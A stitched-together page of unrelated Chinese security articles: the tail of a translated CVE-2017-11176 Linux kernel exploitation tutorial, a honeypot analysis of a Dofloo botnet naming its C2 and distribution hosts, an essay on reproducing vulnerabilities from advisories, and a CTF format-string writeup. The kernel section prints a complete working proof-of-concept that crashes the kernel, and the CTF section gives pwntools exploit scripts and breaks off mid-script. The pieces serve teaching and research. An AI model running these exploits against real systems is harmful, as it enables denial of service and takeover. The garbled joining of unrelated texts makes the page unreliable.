(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)
-={ dump_netlink_sock: 0xffff88002f89ac00 }=- - sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0 // <----- - sk->sk_rcvbuf = 2312 // <----- - sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=- (2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=- - sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504 // <----- - sk->sk_rcvbuf = 2312 // <----- - sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=- (2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240
**现在满足了“接收缓冲区已满”的条件（sk_rmem_alloc >sk_rcvbuf）。下一次调用mq_attachskb()将返回1！**
更新TODO列表：
* [DONE]使netlink_attachskb()返回1
* [DONE]exp线程解除阻塞
* [DONE]使第二次fget()调用返回NULL
全部做完了？还差一点...
# 最终PoC
在最后三节中，编写用户态代码实现了触发漏洞所需的每个条件。在展示最终的PoC之前，还有一件事要做。
netlink_insert()会增加套接字引用计数，所以在进入mq_notify()之前，套接字引用计数为2（而不是1），所以 **需要触发漏洞两次**
！
在触发漏洞之前，通过dup()产生新的fd来解锁主线程。需要dup()两次（因为旧的会被关闭），所以最后可以保持一个fd解除阻塞，另一个fd来触发漏洞。
**"Show me the code!"**
最终PoC（不要运行system tap）：
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
// ============================================================================
// ---------------------------------------------------------------------------- // ============================================================================
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]
// ----------------------------------------------------------------------------
// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
// ----------------------------------------------------------------------------
#define PRESS_KEY() \
do { printf("[ ] press key to continue...\n"); getchar(); } while(0)
// ============================================================================
// ---------------------------------------------------------------------------- // ============================================================================
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd;
bool is_ready; // we can use pthread barrier instead
};
// ----------------------------------------------------------------------------
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;
sleep(5); // gives some time for the main thread to block
printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd);
printf("[ ][unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("[+] setsockopt");
return NULL;
}
// ----------------------------------------------------------------------------
static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];
// initialize the unblock thread arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;
printf("[ ] creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("[-] pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("[+] unblocking thread has been created!\n");
printf("[ ] get ready to block\n");
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
perror("[-] mq_notify");
goto fail;
}
printf("[+] mq_notify succeed\n");
return 0;
fail:
return -1;
}
// ============================================================================
// ---------------------------------------------------------------------------- // ============================================================================
/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}
printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
_close(send_fd);
printf("[+] blocking socket ready\n");
return recv_fd;
fail:
printf("[-] failed to prepare block socket\n");
return -1;
}
// ============================================================================
// ---------------------------------------------------------------------------- // ============================================================================
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;
printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
printf("[+] netlink socket created = %d\n", sock_fd);
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
// trigger the bug twice
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
printf("[ ] ready to crash?\n");
PRESS_KEY();
// TODO: exploit
return 0;
fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}
// ============================================================================
// ---------------------------------------------------------------------------- // ============================================================================
预期输出：
[ ] -={ CVE-2017-11176 Exploit }=- [ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...
<<< KERNEL CRASH HERE >>>
从现在开始，直到exp最终完成，每次运行PoC系统都会崩溃。这很烦人，但你会习惯的。可以通过禁止不必要的服务（例如图形界面等）来加快启动时间。记得最后重新启用这些服务，以匹配你的“真正”目标（他们也确实对内核有影响）。
# 结论
本文介绍了调度器子系统，任务状态以及如何通过等待队列在正在运行/等待状态之间转换。理解这部分有助于唤醒主线并赢得竞态条件。
通过close()和dup()系统调用，使第二次调用fget()返回NULL，这是触发漏洞所必需的。最后，研究了如何使netlink_attachskb()返回1。
所有这些组合起来成了最终的PoC，可以在不使用System Tap的情况下可靠地触发漏洞并使内核崩溃。
[接下来的文章](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html)将讨论一个重要的话题：释放后重用漏洞的利用。将阐述slab分配器的基础知识，类型混淆，重新分配以及如何通过它来获得任意调用。将公开一些有助于构建和调试漏洞的新工具。最后，我们会在合适的时候让内核崩溃。 | 社区文章 |
#### Author: elknot@360corpsec
* * *
## 0x00 前言
今天本来是开年会，一个皆大欢喜的日子，但是吧我这种中奖绝缘体一般是没什么收获的，这个时候突然来了一封邮件，邮件的内容是这样的：
这样的话，看来是蜜罐又被攻击了。
* * *
## 0x01 蜜罐里面的日志分析
emmm，看来是我的蜜罐收到了一次扫描，但是这次是头一次看到了3306端口的扫描流量，这地方有点意思，毕竟之前蜜罐爆出来的扫描成功基本上都是扫22端口，我猜可能是执行了什么命令，正好看了下scanmon上面扫描的数据发现这个IP实际上在最近几天的时间进行了大量的3306端口扫描，除此之外还有80端口和60001端口，如下图所示：
那既然扫描了的话肯定干了点什么事情，结果发现蜜罐中的日志出现了一个服务器的地址：
http://122.114.248.240:8879
然后就上去看了下，看来是蜜罐报警前30分钟左右上线的hfs服务器，里面存在6个文件，文件的列表什么的如下：
exe什么的先不看，linux2.6那个文件是一个x86
ELF文件，IDA拖一下发现这个病毒的代码结构很像是dofloo家族的结果，可能这个botnet是一个dofloo的变种什么的也说不定，一上来先看到了一个连接c&c的操作：
通过用沙箱分析，发现了连接的c&c地址是`gj.07360736.cn:2658`，反向解析之后发现域名指向的地址是122.114.248.240:2568，之后会克隆自己到`C:\WINDOWS\system32\xxxx.exe`下，xxxx为任意的名称，随机六位字母，接下来的操作其实和dofloo家族botnet很相似了，能够干的事情包含CC攻击、SYNFlood攻击等一大堆DDoS攻击，看来这个botnet的目的就是发动DDoS，晚上准备把这个样本丢到我的养马场里面，检测一下最近的攻击行为。同时跟我大哥确认了一下消息，获得的检测信息如下：
McAfee:[u'Linux/Dofloo.a', u'6.0.6.653', u'20180322']
AegisLab:[u'Backdoor.Linux.Dofloo!c', u'4.2', u'20180322']
Symantec:[u'Linux.Dofloo', u'1.5.0.0', u'20180322']
ESET-NOD32:[u'Linux/Dofloo.A', u'17097', u'20180322']
Kaspersky:[u'Backdoor.Linux.Dofloo.b', u'15.0.1.13', u'20180322']
NANO-Antivirus:[u'Trojan.Unix.Dofloo.efsxke', u'1.0.100.21498', u'20180322']
Tencent:[u'Trojan.Linux.Dofloo.ba', u'1.0.0.1', u'20180322']
McAfee-GW-Edition:[u'Linux/Dofloo.a', u'v2015', u'20180322']
Avira:[u'LINUX/Dofloo.AA', u'8.3.3.6', u'20180322']
Antiy-AVL:[u'Trojan[Backdoor]/Linux.Dofloo.b', u'3.0.0.1', u'20180322']
ZoneAlarm:[u'Backdoor.Linux.Dofloo.b', u'1.0', u'20180322']
现在基本确定这个东西是一个借助3306端口传播的dofloo
botnet，基本上没跑了，但是呢我们需要去对一些信息进行反向查询一下，我们先从scan扫描的流量入手。
* * *
## 0x02 查户口
首先我们先从蜜罐的扫描器入手，我们发现这个扫描器活跃的时间是从这个月12号开始的，我们可以发现这个IP产生了大量的扫描流量。
这样的话看来中招的机器应该不少，由于手头的数据有限，所以没有办法看到中招机器具体的数量，但是我们可以看一下分发服务器的8879端口访问次数，因为访问次数可以粗略的估计中招机器的数量，所以看一下这台机器的流量，我们发现有一个很大的波峰，大概最高有70多个机器访问了8879端口。
emmm看来肉机数量不是很多啊，不过以后没准有越发增加的趋势也说不定，但是现在还是不算大。所以先观察着。
我从bitracker上导出了一份情报信息作为附件放到文章里，大家如果愿意去持续观察分析这个botnet的话，可以当做参考。
那么我们尝试一下去使用PDNS数据去查一下IP和域名的数据，可以看到这个域名曾经解析过两次，一次IP地址为122.114.213.63，另一次为122.114.248.240，具体情况就是下面的图：
本来还想查一下Whois信息，结果发现Whois信息实际上是没有用的，所以有点浪费时间了。
这样的话我可以从样本下手看一下样本里面的一些细节，首先先来看下样本上传的path，path是多么熟悉啊。
emmm，我觉得可能是出了点什么问题。于是去查看了一下这个IP地址的画像信息，结果发现IP地址122.114.248.240所属的是郑州的一台服务器，隶属于zzidc，扫描器的信息也是一样的，隶属于同一个IDC。
到现在基本上大概的流程就是：一个人买了几台服务器，然后扫了个3306端口，紧接着植入木马。
* * *
## 0x03 总结
由于时间仓促，所以分析的不是很细，大家如果有意愿的话，可以继续分析一下。 | 社区文章 |
# 【技术分享】如何通过公开的漏洞披露信息，完成开源程序漏洞的环境构建与验证
|
##### 译文声明
本文是翻译文章，文章来源：calebfenton.github.io
原文地址：<https://calebfenton.github.io/2016/04/24/reversing-an-open-source-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
****
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
翻译：[ **ForrestX386**](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**0x00 为什么需要重现漏洞的利用环境**
一般的漏洞披露公告很少包含技术细节去重现这个漏洞的利用。
这件事有好的一面，也有不好的一面，好的一面就是，这让很多脚本小子不能很快利用漏洞披露公告中的信息去编写漏洞利用代码，
会给使用含有漏洞的开源程序的企业争取修复的时间；不好的一面就是：
有时候安全工程师或者安全研究者需要漏洞的详细技术细节去重建漏洞利用环境，这样可以帮助他们更好地理解这个漏洞，然后就可以编写漏洞利用代码去更好地测试系统是否包含这个漏洞。
开源程序出现漏洞，经常是其中的一个开源库出现了问题，一个开源库出了问题很可能影响很多应用程序，
但是我们很难判断一个应用程序就含有漏洞，只因这个应用程序使用了这个含有漏洞的开源库，有时候应用程序并没有使用到含有漏洞的开源库中的问题代码，这个时候应用程序即使使用了问题开源库，也没有安全问题，有时候只有特定的配置条件下，这个含有漏洞的开源库才会触发漏洞。
只要不这样配置，就不会有安全问题。 正是因为我们无法从漏洞披露公告中获取漏洞的技术细节，所以我们不能很好地判断应用程序是否存在安全问题，
也不能单单认为使用了这个含有漏洞代码的开源库就会有安全问题。如果不知道漏洞细节，我们就无法准确评估系统的安全风险，出于成本和升级风险考虑，企业一般对升级含有漏洞的开源库持犹豫不决的态度我曾经遇到这样一家企业，他们的应用程序中包含了含有漏洞的开源库，但是它们不愿意升级系统，它是这样告诉它的用户的：
有人告诉我们，我们系统使用了这个含有漏洞的开源库，但是我们检查之后发现，我们并没有使用其中的漏洞代码，我们升级一次会花很大一笔钱，也会冒很大风险，我们现在的选择是不升级当我第一次听到这家企业的回答的时候，说实话，我非常惊讶，但仔细想想，这家企业说的也不无道理，我曾经经历过一次对Rails开发的大的项目的升级，那次经历真的是不堪回首，超级多的依赖，非常的麻烦。
企业升级一次的，有时候，成本还是蛮大的。
只有在有充足的证据证明系统确实存在重大安全问题，企业才会升级。最直接的证明系统存在安全漏洞的方式就是直接攻击，最好拿下系统shell权限，一般用于测试漏洞是否存在的代码称之为PoC（proof
of
concept）。要想写一个漏洞利用PoC，你就需要知道漏洞的详细技术细节除了能帮助我们更好的写出PoC，了解漏洞的技术细节还能帮助我们去培训研发工程师，这样就可以避免以后同样的错误再次发生。安全研究者也可以通多了解细节去寻找和这个漏洞相似的漏洞如果漏洞披露方不肯公开漏洞细节，我们应该怎么办呢，毛主席说的好，自己动手，丰衣足食，那就需要我们自己去重现这个漏洞环境，发现漏洞代码，下文就介绍如何通过收集公开的信息，重现一个漏洞环境
**0x01. 如何通过公开的漏洞披露信息，完成开源程序漏洞环境的构建，分析漏洞原因，完成漏洞验证**
完成漏洞环境主要有4个步骤
1、下载含有漏洞的版本
2、找到修复版本中的fix commit
3、理解这个fix
4、创建一个PoC
**定位Fix信息**
第1个步骤比较简单，很一般漏洞披露中就包含了影响的版本之类
第2个步骤比较麻烦， 有时候实现这一步很简单，因为有的漏洞披露公开中包含了
修复commit的hash值，但有时候，却很麻烦，你花了好几个小时，在几百个commit中 仅仅只发现 类似 “update
pom.xml”
之类的没有太多价值的commit信息，有时候，这是修复者故意这样做的，他隐藏了修复的fix信息，因为他们认为这样可以防止换人恶意利用，说的有道理，fix信息能够帮助攻击者更快的理解漏洞原因，以便他们完成漏洞利用代码的编写。但我个人认为，真正的攻击者在没有帮助提示的情况下也能够通过源码分析去发现fix信息，从而完成漏洞原因分析，漏洞代码编写，到最后的漏洞批量利用。
把漏洞的fix信息放在显而易见的地方，能够帮助更多的合法用户去利用漏洞成因，以便更好的保护自己降低危害。
如果代码维护者自己这个漏洞细节，这样他就可以屏蔽含有漏洞版本的下载，这样避免更多的人收伤害，当然还包括我上面提到的好处第1个寻找漏洞fix的地方就是漏洞披露公告，这就需要你仔仔细细的读漏洞公告，
留意漏洞披露公告中涉及的功能点，漏洞公告中的上下文信息也能够帮助你更好的定位漏洞fix
commit，有时候漏洞披露公告中会涉及一些关键字，这些关键字能很好地帮助我们去定位fix
commit如果说真有一个漏洞披露公告，里面包含的有用信息非常少，你必须亲自搜索fix 信息， 摆在首位需要搜索的就是fix version信息,
找到fix version 之后，你至少知道在这个fix version中至少有一个commit包含了fix
。但是不幸的是，你会发现有几百个commit信息，每一个commit信息中包包含了各种修改东东， 你很难分得清到这些修改代码是怎么回事。
所以你还需要继续过滤commit中的无用信息。
首先，你需要再次仔细阅读漏洞披露公告，看看能否在漏洞披露公告中找到以下信息：
1) 修复的是代码还是配置
2）修复信息中有木有提到指定的类名
3）有木有提到指定的功能模块
4）漏洞披露公告中有木有提到代码维护者的名字，也许是他提交了fix信息一般情况下，只有1-2两个修复者
5）fix的时间早于漏洞公告的时间， 公告之后的commit肯定不包含fix信息
6）如果fixed 版本是一个热补丁 版本（比如版本号是1.2.3
变成了一个1.2.3.1），一般的热补丁版本中只包含很少一些commit，这样查找起来就比较容易了
下一步， 你可以尝试用Google 搜索一下，
看你的运气了，也许其他人已经帮你完成了非常繁琐的的定位，可能已经在Blog中贴出了PoC，或者一个MSF的利用模块
如果一个开源项目有一个问题跟踪wiki，你可以试着去那里搜索，利用漏洞披露公告中的关键字进行搜索，或者搜索漏洞披露公告前几周的问题，可能搜索结果中会包含对漏洞的描述，如果wiki中关于问题的描述足够详细，你还可以对影响版本进行过滤另外一个可以搜索的地方就是
git logs。 我最喜欢的搜索方式：
git log ‐‐all ‐i ‐‐grep 'exploit keyword'
git log ‐‐since=12/1/2015 ‐‐before 1/28/2016 ‐i ‐‐grep 'keywords'
–all 选项是搜索所有的分支，有时候，fix信息只包含在某个特定的分支上，你不知道到底在哪一个分支上，所以你需要都搜索一下
-i 表示不区分大小写
另外一个比较好的定位fix信息的方式就是比较fix 版本和之前离这个版本最近的版本之间的区别。这个可以在github上的releases 上找到不同的版本
这里以Apache Storm Releases举个例子
首先找到fixed 版本之前的一个tag版本，比如上图中，V0.10.0-beta
是fixed版本之前的版本，v0.10.0-beta1这个版本包含了fix信息，在V0.10.0-beta这个版本的页面中有个连接显示从这个tag版本之后有1892个commits被提交到fixed的版本上。
我们可以点击这个连接比较V0.10.0-beta 和V0.10.0-beta1之间的不同
**理解Fix**
好了，现在你已经找到Fix的信息，现在你需要去理解Fix信息，弄明白修改了哪些，修改之后产生了哪些影响，为了弄明白这些，你需要搭建一个环境去测试，你需要去编译，运行和调试修改前后的代码，这里我就不多说了，提醒一下，结合fix
Commit信息去理解。
**编写PoC**
理解了fix信息之后，你需要做的就是搭建一个含有漏洞的版本，尝试编写一个PoC去证明你的想法，编写PoC不是一蹴而就的事，你需要不断的调试修改一般编写PoC会选择python
或者Ruby作为代码语言，因为它们非常的容易上手。 有时候，你可能还需要利用到类似MSF这类框架。
编写PoC的时候，注意记录你遇到的奇葩问题以及是如何解决的，做好代码注释，不然的话，几天或者几周之后吗，你都看不懂你自己的代码了。 | 社区文章 |
# 格式化字符串hijack retaddr及三个白帽-pwnme_k0 writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
hijack retaddr是利用格式化字符串漏洞来劫持返回地址到任意地址。本文通过对三个白帽-pwnme_k0的分析来具体实践这种利用方式。
## 题目链接
<https://github.com/eternalsakura/ctf_pwn/blob/master/pwnme_k0>
## 分析
这个题代码写的略智障。
其实一共是从rbp-30到rbp-8这么一段空间，一共40个字节来存来存账号和密码。
但是存账号是从v16到char v18[20]的前4个字节，确实是16个，但是这么写不会很怪么……
密码也是，从数组的第4个字节之后开始存，最大存20个字节，一开始看还以为有溢出，碎碎念一下。
不过实际上漏洞是在打印个人信息的时候，能看到一个格式化字符串漏洞。
而这个&a9+4实际上就是我们输入的密码。
## 利用
### checksec
sakura@ubuntu:~$ checksec pwnme_k0
[*] '/home/sakura/pwnme_k0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
### vulfunc
这题看了下字符串，发现有可以直接利用的system(‘/bin/sh’)，所以只要用格式化字符串漏洞直接修改某个函数的返回地址为0x4008A6就可以了。
### 确定偏移
首先来跟随一下程序，确定格式化串的相对偏移。
写一个程序确定偏移。
from pwn import *
context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
gdb.attach(p,'break *0x400B39') #一开始就把gdb attach上去，然后设置好断点位置，break *0x400B39就是设置断点，然后c一下就执行到断点位置了。
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%p'*8)
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline('3')
输出
sakura@ubuntu:~$ python offset.py
[DEBUG] PLT 0x400740 putchar
[DEBUG] PLT 0x400748 strcpy
[DEBUG] PLT 0x400750 puts
[DEBUG] PLT 0x400758 write
[DEBUG] PLT 0x400760 setbuf
[DEBUG] PLT 0x400768 system
[DEBUG] PLT 0x400770 printf
[DEBUG] PLT 0x400778 memset
[DEBUG] PLT 0x400780 read
[DEBUG] PLT 0x400788 __libc_start_main
[DEBUG] PLT 0x400790 __gmon_start__
[DEBUG] PLT 0x400798 memcpy
[DEBUG] PLT 0x4007a0 fflush
[DEBUG] PLT 0x4007a8 atol
[*] '/home/sakura/pwnme_k0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './pwnme_k0': pid 2885
[DEBUG] Wrote gdb script to '/tmp/pwnoFjEm0.gdb'
break *0x400B39
[*] running in new terminal: /usr/bin/gdb -q "/home/sakura/pwnme_k0" 2885 -x "/tmp/pwnoFjEm0.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "/home/sakura/pwnme_k0" 2885 -x "/tmp/pwnoFjEm0.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Received 0x127 bytes:
'**********************************************n'
'* *n'
'*Welcome to sangebaimao,Pwnn me and have fun!*n'
'* *n'
'**********************************************n'
'Register Account first!n'
'Input your username(max lenth:20): n'
[DEBUG] Sent 0x9 bytes:
'aaaaaaaan'
[DEBUG] Received 0x24 bytes:
'Input your password(max lenth:20): n'
[DEBUG] Sent 0x11 bytes:
'%p%p%p%p%p%p%p%pn'
[DEBUG] Received 0x5f bytes:
'Register Success!!n'
'1.Sh0w Account Infomation!n'
'2.Ed1t Account Inf0mation!n'
'3.QUit sangebaimao:(n'
'>'
[DEBUG] Sent 0x2 bytes:
'1n'
[DEBUG] Received 0x9 bytes:
'aaaaaaaan'
下面si只是为了跟进printf函数，个人习惯……不跟也行，只要你知道怎么数格式化串在哪，跟进去的话栈上第一个就肯定是返回地址，注意这里是64位程序，所以返回地址后跟着的就是参数7（offset
6),参数8（offset 7)…..
pwndbg> si
0x0000000000400770 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[──────────────────────────────────REGISTERS───────────────────────────────────]
RAX 0x0
RBX 0x0
RCX 0x400
RDX 0x7f6c9f8829e0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x7fff8ee7f1e4 ◂— 0x7025702570257025 ('%p%p%p%p')--->格式化字符串存在rdi里
RSI 0x7f6c9faa6000 ◂— 0x6161616161616161 ('aaaaaaaa')
.....
[────────────────────────────────────DISASM────────────────────────────────────]
► 0x400770 jmp qword ptr [rip + 0x20184a] <0x7f6c9f512340>
↓
0x7f6c9f512340 <printf> sub rsp, 0xd8
0x7f6c9f512347 <printf+7> test al, al
0x7f6c9f512349 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7f6c9f51234e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7f6c9f512353 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7f6c9f512358 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7f6c9f51235d <printf+29> mov qword ptr [rsp + 0x48], r9
0x7f6c9f512362 <printf+34> je printf+91 <0x7f6c9f51239b>
↓
0x7f6c9f51239b <printf+91> lea rax, [rsp + 0xe0]
0x7f6c9f5123a3 <printf+99> mov rsi, rdi
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ rsp 0x7fff8ee7f1b8 —▸ 0x400b3e 返回地址
01:0008│ rbp 0x7fff8ee7f1c0 —▸ 0x7fff8ee7f200 offset 6(因为格式化串是参数1，前6个参数存在寄存器里，所以这里是参数7，相对格式化串就是偏移6)
02:0010│ 0x7fff8ee7f1c8 —▸ 0x400d74 offset 7
03:0018│ 0x7fff8ee7f1d0 ◂— 'aaaaaaaan' offset 8
04:0020│ 0x7fff8ee7f1d8 ◂— 0xa /* 'n' */ offset 9
05:0028│ rdi-4 0x7fff8ee7f1e0 ◂— 0x7025702500000000 offset 10
06:0030│ 0x7fff8ee7f1e8 ◂— '%p%p%p%p%p%pn'
07:0038│ 0x7fff8ee7f1f0 ◂— 0xa70257025 /* '%p%pn' */
[──────────────────────────────────BACKTRACE───────────────────────────────────]
► f 0 400770
f 1 400b3e
f 2 400d74
f 3 400e98
f 4 7f6c9f4dff45 __libc_start_main+245
这样就找到了，偏移为10，不过0x7025702500000000被00截断了，应该用“后入式“，把地址写在后面，所以偏移应该取12
### 修改返回地址
我们知道： **虽然存储返回地址的内存本身是动态变化的，但是其相对于rbp的地址并不会改变，所以我们可以使用相对地址来计算。**
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ rsp 0x7fff8ee7f1b8 —▸ 0x400b3e 返回地址
01:0008│ rbp 0x7fff8ee7f1c0 —▸ 0x7fff8ee7f200
02:0010│ 0x7fff8ee7f1c8 —▸ 0x400d74
这里的返回地址是printf的返回地址，此时rbp还没有变化，还没有进入printf，还是当前函数的rbp，则rbp指向的就是old rbp的地址。
所以当前的返回地址就在rbp+8，即0x400d74。
存储返回地址的内存就是0x7fff8ee7f1c8，它相对于相对于old
rbp的地址就是：0x7fff8ee7f200-0x7fff8ee7f1c8=0x38。
（这部分说的有点乱，先这么理解着吧……）
总之用格式化串先读0x7fff8ee7f1c0地址（offset
6)，得到rbp的地址是0x7fff8ee7f200，再减去0x38就得到存储返回地址的内存地址是0x7fff8ee7f1c8。
然后leak出这个地址后，就可以去覆盖这个地址存放的返回值为我们的system(‘/bin/sh’)即0x4008A6
当函数返回的时候就getshell.
from pwn import *
context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
gdb.attach(p,'break *0x400B39')
# gdb.attach(p,'break *0x400B3E')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('n')[1]
leak_addr=hex(int(data,16)-0x38)
print leak_addr
p.sendline('3')
### getshell
这题的username我完全没用到，不过其实结合username更好用一些，不过
为了练习”后入式“，我就写的麻烦一点。
exp如下：
from pwn import *
# context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
# gdb.attach(p,'break *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('n')[1]
leak_addr=int(data,16)-0x38
# print hex(leak_addr)
p.sendline('2')
